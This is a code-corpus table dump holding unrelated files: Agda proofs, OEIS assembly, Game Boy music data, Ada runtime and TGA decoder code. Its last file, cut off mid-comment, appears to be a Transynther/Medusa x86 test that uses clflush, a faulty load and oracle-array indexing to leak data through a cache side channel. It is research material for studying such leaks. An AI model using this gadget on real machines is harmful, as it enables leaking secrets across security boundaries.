max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
test/Fail/Issue708b.agda | cruhland/agda | 1,989 | 4993 |
open import Common.Prelude
test : List Char → Char
test [] = 'a'
test ('a' ∷ []) = 'b'
-- test (c ∷ cs) = c
|
programs/oeis/022/A022850.asm | neoneye/loda | 22 | 165421 | ; A022850: Integer nearest nx, where x = sqrt(7).
; 0,3,5,8,11,13,16,19,21,24,26,29,32,34,37,40,42,45,48,50,53,56,58,61,63,66,69,71,74,77,79,82,85,87,90,93,95,98,101,103,106,108,111,114,116,119,122,124,127,130,132,135,138,140,143,146,148,151,153,156,159,161,164,167,169,172,175,177,180,183,185,188,190,193,196,198,201,204,206,209,212,214,217,220,222,225,228,230,233,235,238,241,243,246,249,251,254,257,259,262
pow $0,2
mul $0,7
seq $0,194 ; n appears 2n times, for n >= 1; also nearest integer to square root of n.
|
src/game_bass.asm | Gegel85/SpaceShooterGB | 3 | 169414 | gameBass::
;patt1
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 6;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2;NO SOUND
;patt1
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 6;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2;NO SOUND
;patt2
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $00, $20, $80, QUAVER * 4 ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt2
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $00, $20, $80, QUAVER * 4 ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt1
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 6;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2;NO SOUND
;patt1
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 6;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2;NO SOUND
;patt4
db $80, $00, $40, $20, $80, QUAVER * 2 ;DO B
db $80, $00, $00, $D5, $81, QUAVER * 2 ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt3
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
;patt5
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt5
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt8
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $00, $20, $80, QUAVER * 5 ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt8
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $00, $20, $80, QUAVER * 5 ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt5
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt5
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $C7, $82, QUAVER ;SOL B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt4
db $80, $00, $40, $20, $80, QUAVER * 2 ;DO B
db $80, $00, $00, $D5, $81, QUAVER * 2 ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
;patt3
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $D5, $81, QUAVER ;NO SOUND B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
;patt6
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
;patt6
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
;patt7
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER * 2 ;NO SOUND
db $80, $00, $40, $D5, $81, QUAVER ;MI B
db $80, $00, $40, $20, $80, QUAVER ;DO B
db $80, $00, $00, $20, $80, QUAVER ;NO SOUND
;patt0
db $80, $00, $00, $20, $80, QUAVER * 8 ;NOSOUND
db $80, $00, $00, $20, $80, QUAVER * 8 ;NOSOUND
db $80, $00, $00, $20, $80, $FF ; LOOP |
oeis/025/A025987.asm | neoneye/loda-programs | 11 | 86234 | <filename>oeis/025/A025987.asm
; A025987: Expansion of 1/((1-2x)(1-5x)(1-6x)(1-8x)).
; Submitted by <NAME>
; 1,21,285,3185,31941,299481,2685565,23352945,198684981,1663903241,13774041645,113050606305,921961387621,7483064823801,60518933442525,488128819261265,3929148977523861,31579173926461161
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,16305 ; Expansion of 1/((1-2*x)*(1-6*x)*(1-8*x)).
mul $1,5
add $1,$0
lpe
mov $0,$1
|
source/image/required/s-wwdenu.ads | ytomino/drake | 33 | 3342 | pragma License (Unrestricted);
-- implementation unit required by compiler
package System.WWd_Enum is
pragma Pure;
-- (s-wchcon.ads)
type WC_Encoding_Method is range 1 .. 6;
-- required for Enum'Wide_Width by compiler (s-wwdenu.ads)
function Wide_Width_Enumeration_8 (
Names : String;
Indexes : Address;
Lo, Hi : Natural;
EM : WC_Encoding_Method := 1)
return Natural;
function Wide_Width_Enumeration_16 (
Names : String;
Indexes : Address;
Lo, Hi : Natural;
EM : WC_Encoding_Method := 1)
return Natural;
function Wide_Width_Enumeration_32 (
Names : String;
Indexes : Address;
Lo, Hi : Natural;
EM : WC_Encoding_Method := 1)
return Natural;
pragma Pure_Function (Wide_Width_Enumeration_8);
pragma Pure_Function (Wide_Width_Enumeration_16);
pragma Pure_Function (Wide_Width_Enumeration_32);
pragma Inline (Wide_Width_Enumeration_8);
pragma Inline (Wide_Width_Enumeration_16);
pragma Inline (Wide_Width_Enumeration_32);
-- required for Enum'Wide_Wide_Width by compiler (s-wwdenu.ads)
function Wide_Wide_Width_Enumeration_8 (
Names : String;
Indexes : Address;
Lo, Hi : Natural;
EM : WC_Encoding_Method := 1)
return Natural;
function Wide_Wide_Width_Enumeration_16 (
Names : String;
Indexes : Address;
Lo, Hi : Natural;
EM : WC_Encoding_Method := 1)
return Natural;
function Wide_Wide_Width_Enumeration_32 (
Names : String;
Indexes : Address;
Lo, Hi : Natural;
EM : WC_Encoding_Method := 1)
return Natural;
pragma Pure_Function (Wide_Wide_Width_Enumeration_8);
pragma Pure_Function (Wide_Wide_Width_Enumeration_16);
pragma Pure_Function (Wide_Wide_Width_Enumeration_32);
pragma Inline (Wide_Wide_Width_Enumeration_8);
pragma Inline (Wide_Wide_Width_Enumeration_16);
pragma Inline (Wide_Wide_Width_Enumeration_32);
-- [gcc 4.5/4.6] it needs default values for EM to avoiding bug of compiler
-- (missing argument for parameter "EM" in call to ...)
end System.WWd_Enum;
|
Directory_Structure/Projects/Example_1802_Projects/IO_Output.1802.asm | Jeff-Birt/TASM_vsCode_Extension | 4 | 23652 | <reponame>Jeff-Birt/TASM_vsCode_Extension<gh_stars>1-10
; I/O Output --- Set R(1)=0x000F, Set X=R(1), Mem @ R(1) output to data bus
; N0, N1, N2 indicate the lower nibble of the 6N Output instruction
; virtual system RAM, 0x0000 to 0x0039 ->
.org $0000 ; Start of variable Ram
BEGIN:
LDI $0F
PLO R1
LDI $00
PHI R1
SEX R1
OUT 1
.end |
agda/SelectSort/Correctness/Order.agda | bgbianchi/sorting | 6 | 4254 | <filename>agda/SelectSort/Correctness/Order.agda
{-# OPTIONS --sized-types #-}
open import Relation.Binary.Core
module SelectSort.Correctness.Order {A : Set}
(_≤_ : A → A → Set)
(tot≤ : Total _≤_)
(trans≤ : Transitive _≤_) where
open import Data.List
open import Data.Product
open import Data.Sum
open import Function using (_∘_)
open import List.Sorted _≤_
open import Order.Total _≤_ tot≤
open import Size
open import SList
open import SList.Order _≤_
open import SList.Order.Properties _≤_
open import SelectSort _≤_ tot≤
lemma-select-≤ : {ι : Size}(x : A) → (xs : SList A {ι}) → proj₁ (select x xs) ≤ x
lemma-select-≤ x snil = refl≤
lemma-select-≤ x (y ∙ ys)
with tot≤ x y
... | inj₁ x≤y = lemma-select-≤ x ys
... | inj₂ y≤x = trans≤ (lemma-select-≤ y ys) y≤x
lemma-select-*≤ : {ι : Size}(x : A) → (xs : SList A {ι}) → proj₁ (select x xs) *≤ proj₂ (select x xs)
lemma-select-*≤ x snil = genx
lemma-select-*≤ x (y ∙ ys)
with tot≤ x y
... | inj₁ x≤y = gecx (trans≤ (lemma-select-≤ x ys) x≤y) (lemma-select-*≤ x ys)
... | inj₂ y≤x = gecx (trans≤ (lemma-select-≤ y ys) y≤x) (lemma-select-*≤ y ys)
lemma-select-≤-*≤ : {ι : Size}{b x : A}{xs : SList A {ι}} → b ≤ x → b *≤ xs → b ≤ proj₁ (select x xs) × b *≤ proj₂ (select x xs)
lemma-select-≤-*≤ b≤x genx = b≤x , genx
lemma-select-≤-*≤ {x = x} b≤x (gecx {x = y} b≤y b*≤ys)
with tot≤ x y
... | inj₁ x≤y = proj₁ (lemma-select-≤-*≤ b≤x b*≤ys) , gecx (trans≤ b≤x x≤y) (proj₂ (lemma-select-≤-*≤ b≤x b*≤ys))
... | inj₂ y≤x = proj₁ (lemma-select-≤-*≤ b≤y b*≤ys) , gecx (trans≤ b≤y y≤x) (proj₂ (lemma-select-≤-*≤ b≤y b*≤ys))
lemma-selectSort-*≤ : {ι : Size}{x : A}{xs : SList A {ι}} → x *≤ xs → x *≤ selectSort xs
lemma-selectSort-*≤ genx = genx
lemma-selectSort-*≤ (gecx x≤y x*≤ys)
with lemma-select-≤-*≤ x≤y x*≤ys
... | (x≤z , x*≤zs) = gecx x≤z (lemma-selectSort-*≤ x*≤zs)
lemma-selectSort-sorted : {ι : Size}(xs : SList A {ι}) → Sorted (unsize A (selectSort xs))
lemma-selectSort-sorted snil = nils
lemma-selectSort-sorted (x ∙ xs) = lemma-slist-sorted (lemma-selectSort-*≤ (lemma-select-*≤ x xs)) (lemma-selectSort-sorted (proj₂ (select x xs)))
theorem-selectSort-sorted : (xs : List A) → Sorted (unsize A (selectSort (size A xs)))
theorem-selectSort-sorted = lemma-selectSort-sorted ∘ (size A)
|
oeis/192/A192347.asm | neoneye/loda-programs | 11 | 7093 | ; A192347: Coefficient of x in the reduction (by x^2->x+1) of polynomial p(n,x) identified in Comments.
; Submitted by <NAME>
; 0,1,2,11,32,125,418,1511,5248,18601,65250,230099,809248,2849989,10030018,35311375,124293632,437545489,1540200002,5421774299,19085364000,67183428301,236495292002,832498651511,2930516834432,10315851565625
mov $1,1
mov $4,-1
lpb $0
sub $0,1
add $2,$1
add $4,$3
add $3,$4
add $1,$3
add $4,$2
add $3,$4
sub $4,$3
sub $2,$4
add $3,$4
add $3,$2
add $3,$4
lpe
mov $0,$3
|
3-mid/opengl/private/gid/gid-decoding_tga.adb | charlie5/lace | 20 | 20923 | with GID.Buffering; use GID.Buffering;
with GID.Color_tables;
package body GID.Decoding_TGA is
----------
-- Load --
----------
procedure Load (image: in out Image_descriptor) is
procedure Row_start(y: Natural) is
begin
if image.flag_1 then -- top first
Set_X_Y(0, image.height-1-y);
else
Set_X_Y(0, y);
end if;
end Row_Start;
-- Run Length Encoding --
RLE_pixels_remaining: Natural:= 0;
is_run_packet: Boolean;
type Pixel is record
color: RGB_Color;
alpha: U8;
end record;
pix, pix_mem: Pixel;
generic
bpp: Positive;
pal: Boolean;
procedure Get_pixel;
pragma Inline(Get_Pixel);
--
procedure Get_pixel is
idx: Natural;
p1, p2, c, d: U8;
begin
if pal then
if image.palette'Length <= 256 then
Get_Byte(image.buffer, p1);
idx:= Natural(p1);
else
Get_Byte(image.buffer, p1);
Get_Byte(image.buffer, p2);
idx:= Natural(p1) + Natural(p2) * 256;
end if;
idx:= idx + image.palette'First;
pix.color:= image.palette(idx);
else
case bpp is
when 32 => -- BGRA
Get_Byte(image.buffer, pix.color.blue);
Get_Byte(image.buffer, pix.color.green);
Get_Byte(image.buffer, pix.color.red);
Get_Byte(image.buffer, pix.alpha);
when 24 => -- BGR
Get_Byte(image.buffer, pix.color.blue);
Get_Byte(image.buffer, pix.color.green);
Get_Byte(image.buffer, pix.color.red);
when 16 | 15 => -- 5 bit per channel
Get_Byte(image.buffer, c);
Get_Byte(image.buffer, d);
Color_tables.Convert(c, d, pix.color);
if bpp=16 then
pix.alpha:= U8((U16(c and 128) * 255)/128);
end if;
when 8 => -- Gray
Get_Byte(image.buffer, pix.color.green);
pix.color.red:= pix.color.green;
pix.color.blue:= pix.color.green;
when others =>
null;
end case;
end if;
end Get_pixel;
generic
bpp: Positive;
pal: Boolean;
procedure RLE_Pixel;
pragma Inline(RLE_Pixel);
--
procedure RLE_Pixel is
tmp: U8;
procedure Get_pixel_for_RLE is new Get_pixel(bpp, pal);
begin
if RLE_pixels_remaining = 0 then -- load RLE code
Get_Byte(image.buffer, tmp );
Get_pixel_for_RLE;
RLE_pixels_remaining:= U8'Pos(tmp and 16#7F#);
is_run_packet:= (tmp and 16#80#) /= 0;
if is_run_packet then
pix_mem:= pix;
end if;
else
if is_run_packet then
pix:= pix_mem;
else
Get_pixel_for_RLE;
end if;
RLE_pixels_remaining:= RLE_pixels_remaining - 1;
end if;
end RLE_Pixel;
procedure RLE_pixel_32 is new RLE_pixel(32, False);
procedure RLE_pixel_24 is new RLE_pixel(24, False);
procedure RLE_pixel_16 is new RLE_pixel(16, False);
procedure RLE_pixel_15 is new RLE_pixel(15, False);
procedure RLE_pixel_8 is new RLE_pixel(8, False);
procedure RLE_pixel_palette is new RLE_pixel(1, True); -- 1: dummy
procedure Output_Pixel is
pragma Inline(Output_Pixel);
begin
case Primary_color_range'Modulus is
when 256 =>
Put_Pixel(
Primary_color_range(pix.color.red),
Primary_color_range(pix.color.green),
Primary_color_range(pix.color.blue),
Primary_color_range(pix.alpha)
);
when 65_536 =>
Put_Pixel(
16#101# * Primary_color_range(pix.color.red),
16#101# * Primary_color_range(pix.color.green),
16#101# * Primary_color_range(pix.color.blue),
16#101# * Primary_color_range(pix.alpha)
-- 16#101# because max intensity FF goes to FFFF
);
when others =>
raise invalid_primary_color_range;
end case;
end Output_Pixel;
procedure Get_RGBA is -- 32 bits
procedure Get_pixel_32 is new Get_pixel(32, False);
begin
for y in 0..image.height-1 loop
Row_start(y);
for x in 0..image.width-1 loop
Get_pixel_32;
Output_Pixel;
end loop;
Feedback(((y+1)*100)/image.height);
end loop;
end Get_RGBA;
procedure Get_RGB is -- 24 bits
procedure Get_pixel_24 is new Get_pixel(24, False);
begin
for y in 0..image.height-1 loop
Row_start(y);
for x in 0..image.width-1 loop
Get_pixel_24;
Output_Pixel;
end loop;
Feedback(((y+1)*100)/image.height);
end loop;
end Get_RGB;
procedure Get_16 is -- 16 bits
procedure Get_pixel_16 is new Get_pixel(16, False);
begin
for y in 0..image.height-1 loop
Row_start(y);
for x in 0..image.width-1 loop
Get_pixel_16;
Output_Pixel;
end loop;
Feedback(((y+1)*100)/image.height);
end loop;
end Get_16;
procedure Get_15 is -- 15 bits
procedure Get_pixel_15 is new Get_pixel(15, False);
begin
for y in 0..image.height-1 loop
Row_start(y);
for x in 0..image.width-1 loop
Get_pixel_15;
Output_Pixel;
end loop;
Feedback(((y+1)*100)/image.height);
end loop;
end Get_15;
procedure Get_Gray is
procedure Get_pixel_8 is new Get_pixel(8, False);
begin
for y in 0..image.height-1 loop
Row_start(y);
for x in 0..image.width-1 loop
Get_pixel_8;
Output_Pixel;
end loop;
Feedback(((y+1)*100)/image.height);
end loop;
end Get_Gray;
procedure Get_with_palette is
procedure Get_pixel_palette is new Get_pixel(1, True); -- 1: dummy
begin
for y in 0..image.height-1 loop
Row_start(y);
for x in 0..image.width-1 loop
Get_pixel_palette;
Output_Pixel;
end loop;
Feedback(((y+1)*100)/image.height);
end loop;
end Get_with_palette;
begin
pix.alpha:= 255; -- opaque is default
Attach_Stream(image.buffer, image.stream);
--
if image.RLE_encoded then
-- One format check per row
RLE_pixels_remaining:= 0;
for y in 0..image.height-1 loop
Row_start(y);
if image.palette /= null then
for x in 0..image.width-1 loop
RLE_pixel_palette;
Output_Pixel;
end loop;
else
case image.bits_per_pixel is
when 32 =>
for x in 0..image.width-1 loop
RLE_Pixel_32;
Output_Pixel;
end loop;
when 24 =>
for x in 0..image.width-1 loop
RLE_Pixel_24;
Output_Pixel;
end loop;
when 16 =>
for x in 0..image.width-1 loop
RLE_Pixel_16;
Output_Pixel;
end loop;
when 15 =>
for x in 0..image.width-1 loop
RLE_Pixel_15;
Output_Pixel;
end loop;
when 8 =>
for x in 0..image.width-1 loop
RLE_Pixel_8;
Output_Pixel;
end loop;
when others => null;
end case;
end if;
Feedback(((y+1)*100)/image.height);
end loop;
elsif image.palette /= null then
Get_with_palette;
else
case image.bits_per_pixel is
when 32 =>
Get_RGBA;
when 24 =>
Get_RGB;
when 16 =>
Get_16;
when 15 =>
Get_15;
when 8 =>
Get_Gray;
when others => null;
end case;
end if;
end Load;
end GID.Decoding_TGA;
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_220_515.asm | ljhsiun2/medusa | 9 | 172166 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rbp
push %rcx
lea addresses_D_ht+0x15d1c, %r10
inc %r14
movb (%r10), %r12b
inc %rcx
pop %rcx
pop %rbp
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_WT+0xc00b, %r12
clflush (%r12)
sub %r13, %r13
movw $0x5152, (%r12)
nop
nop
nop
xor %r14, %r14
// Store
mov $0x8db, %r14
sub %rdx, %rdx
movb $0x51, (%r14)
sub $40513, %rbx
// Faulty Load
lea addresses_PSE+0xff43, %rdx
nop
cmp %rbx, %rbx
movb (%rdx), %cl
lea oracles, %r13
and $0xff, %rcx
shlq $12, %rcx
mov (%r13,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
